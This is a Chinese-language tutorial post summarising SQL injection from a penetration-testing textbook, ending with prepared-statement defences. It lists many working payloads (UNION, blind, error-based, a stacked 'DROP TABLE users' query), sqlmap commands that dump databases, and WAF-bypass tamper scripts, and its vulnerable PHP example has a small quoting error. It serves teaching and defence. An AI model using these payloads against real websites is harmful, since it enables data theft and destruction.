SQL注入漏洞（《web安全攻防渗透测试实战指南》简易摘要）

长夜永不忘却

1169人浏览 · 2026-01-25 17:50:02

长夜永不忘却 · 2026-01-25 17:50:02 发布

一、SQL注入概述：Web安全的头号威胁

SQL注入（SQL Injection）作为OWASP Top 10中长期位居首位的安全威胁，是每个Web开发者和安全人员必须深入理解的高危漏洞。简单来说，SQL注入是攻击者通过构造恶意的SQL语句，插入到应用程序的查询中，从而欺骗数据库执行非授权操作的攻击方式。

当应用程序使用输入内容来构造动态SQL语句以访问数据库时，就可能发生SQL注入攻击。如果代码使用存储过程，而这些存储过程作为包含未筛选的用户输入的字符串来传递，也会发生SQL注入。根据统计，许多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击。

二、SQL注入原理：信任边界的失守

2.1 基本原理

SQL注入的根源在于一个基础性错误：程序将用户输入的数据，错误地当作了代码（SQL指令） 来执行。当应用程序动态构建SQL查询语句时，如果未对用户输入进行严格的过滤或参数化处理，攻击者就可以通过构造特殊的输入，来改变原始SQL查询的语义。

我们来看一个经典的PHP代码片段，这是无数SQL注入漏洞的"温床"：

// 获取前端传递的用户ID
$userId = $_GET['id'];
// 未经任何处理，直接拼接到SQL查询语句中
$sql = "SELECT username, email FROM users WHERE id = ' '. $userId;
// 执行查询...

这段代码期望$userId是一个数字。但如果攻击者传入的id是

1' OR '1'='1

那么最终执行的SQL语句就变成了：

SELECT username, email FROM users WHERE id = '1' OR '1'='1'

永远为真，这导致WHERE子句的条件永远成立，查询将返回users表中的所有数据。

2.2 根本原因分析

SQL注入的产生通常表现在以下几方面：

不当的类型处理
不安全的数据库配置
不合理的查询集处理
不当的错误处理
转义字符处理不合适
多个提交处理不当

一句话总结：缺乏对"用户输入不可信"的基本安全意识。

三、SQL注入类型与攻击手法

3.1 根据注入点数据类型分类

3.1.1 数字型注入（Numeric Injection）

当注入点是数字类型时，无需闭合引号。

原始SQL：SELECT * FROM users WHERE id = $id
攻击：id=1 OR 1=1
最终SQL：SELECT * FROM users WHERE id = 1 OR 1=1

探测方法：

id=1 AND 1=1→ 页面正常返回
id=1 AND 1=2→ 页面返回异常

3.1.2 字符型注入（String Injection）

当注入点是字符类型时，输入会被单引号或双引号包围。

原始SQL：SELECT * FROM users WHERE username = '$username'
攻击：username=admin' OR '1'='1
最终SQL：SELECT * FROM users WHERE username = 'admin' OR '1'='1'

关键在于闭合引号和注释后续代码。

3.2 根据信息获取方式分类

3.2.1 联合查询注入（UNION-based Injection）

最直接的回显注入方式，利用UNION操作符合并查询结果。

步骤1：判断字段数
id=1 ORDER BY 1 → 正常
id=1 ORDER BY 2 → 正常
id=1 ORDER BY 3 → 报错（说明字段数量为2）

步骤2：确定回显位置
id=-1 UNION SELECT 1,2

步骤3：获取数据
id=-1 UNION SELECT database(), version()
id=-1 UNION SELECT table_name, 2 FROM information_schema.tables

3.2.2 布尔盲注（Boolean-based Blind Injection）

当服务器关闭了错误回显，只能通过页面的布尔状态差异来推断信息。

猜解数据库名长度：
id=1' AND length(database()) = 8 --+

逐字猜解：
id=1' AND ascii(substring(database(), 1, 1)) > 100 --+

攻击者通过不断提问"是/非"问题，根据页面反应获取答案。

3.2.3 时间盲注（Time-based Blind Injection）

当无论查询真假，页面都返回相同内容时，通过响应时间判断信息。

判断数据库名长度：
id=1' AND IF(length(database())=8, sleep(5), 0) --+

逐字猜解：
id=1' AND IF(ascii(substring(database(),1,1))=115, sleep(5), 0) --+

这是盲注的终极手段，利用时间延迟函数作为判断依据。

3.2.4 报错注入（Error-based Injection）

利用数据库报错信息获取数据。

MySQL报错注入示例：
id=1' AND updatexml(1, concat(0x5e, (select database()), 0x5e), 1) --+
id=1' AND extractvalue(1, concat(0x5e, (select version()), 0x5e)) --+

3.3 进阶注入技术

3.3.1 堆叠查询注入（Stacked Injection）

使用分号执行多条SQL语句，危险性极高。

id=1; DROP TABLE users; --+

需要注意的是，并非所有数据库和应用程序都支持堆叠查询。

3.3.2 宽字节注入

利用数据库的GBK等宽字节编码特性，绕过转义机制。

原理：输入%df%27，转义后变为%df%5c%27，其中%df%5c构成一个汉字（运的繁体字）

3.3.3 二次注入（Second Order Injection）

注入语句第一次写入数据库时不会触发，但后续使用该数据时触发。

注册用户名：admin'#
后续查询：SELECT * FROM users WHERE username='admin'#'

3.3.4 HTTP头部注入

在Cookie、User-Agent、X-Forwarded-For等HTTP头部字段中进行注入。

User-Agent: ' OR 1=1 --+

四、自动化注入工具：sqlmap与tamper脚本

4.1 sqlmap：自动SQL注入工具

sqlmap是当前最强大的开源SQL注入自动化检测工具，支持多种数据库和注入技术。

基本用法：

# 检测注入点
sqlmap -u "http://example.com/page.php?id=1"

# 获取所有数据库
sqlmap -u "http://example.com/page.php?id=1" --dbs

# 获取指定数据库的表
sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables

# 获取表中数据
sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump

POST注入检测：

# 使用Burp Suite抓包，保存为post.txt
sqlmap -r post.txt

4.2 tamper脚本：绕过安全防护

tamper脚本是sqlmap的过滤器，用于对payload进行修改，绕过WAF（Web应用防火墙）和其他安全机制。

常用tamper脚本：

base64encode.py：将payload编码为base64
chardoubleencode.py：双URL编码
space2comment.py：用注释替换空格
equaltolike.py：将=替换为LIKE

使用示例：

sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment,equaltolike

自定义tamper脚本开发：

开发者可以根据目标防护特点编写自定义tamper脚本，实现特定的编码、替换或混淆逻辑。

五、SQL注入防御策略

5.1 预编译语句（Prepared Statements）

这是最有效的防御手段，彻底分离代码与数据。

// Java示例
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);

预处理语句会先编译SQL，再绑定参数，用户输入不会影响SQL结构。